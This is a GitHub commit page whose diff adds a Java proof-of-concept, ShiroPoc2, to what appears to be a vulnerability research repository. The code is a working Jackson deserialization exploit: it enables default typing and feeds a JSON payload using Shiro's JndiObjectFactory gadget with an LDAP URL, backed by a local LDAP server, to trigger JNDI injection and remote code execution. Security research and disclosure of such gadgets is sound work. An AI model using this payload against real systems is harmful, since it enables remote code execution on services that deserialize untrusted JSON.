Skip to content

Commit b56f8f7

Browse files
author
“threedr3am”
committed
feat:添加shiro的jackson gadget
1 parent b9a9ddf commit b56f8f7

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
package com.threedr3am.bug.jackson.rce;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
* 比较鸡肋,需要调用writeValueAsString才能触发
9+
*
10+
* shiro-core gadget
11+
*
12+
* <dependency>
13+
* <groupId>org.apache.shiro</groupId>
14+
* <artifactId>shiro-core</artifactId>
15+
* </dependency>
16+
*
17+
* @author threedr3am
18+
*/
19+
public class ShiroPoc2 {
20+
21+
static {
22+
//rmi server示例
23+
// RmiServer.run();
24+
25+
//ldap server示例
26+
LdapServer.run();
27+
}
28+
29+
public static void main(String[] args) throws IOException {
30+
ObjectMapper mapper = new ObjectMapper();
31+
mapper.enableDefaultTyping();
32+
33+
String json = "[\"org.apache.shiro.jndi.JndiObjectFactory\", {\"resourceName\": \"ldap://localhost:43658/Calc\"}]";
34+
Object o = mapper.readValue(json, Object.class);
35+
mapper.writeValueAsString(o);
36+
}
37+
38+
39+
}

0 commit comments

Comments
 (0)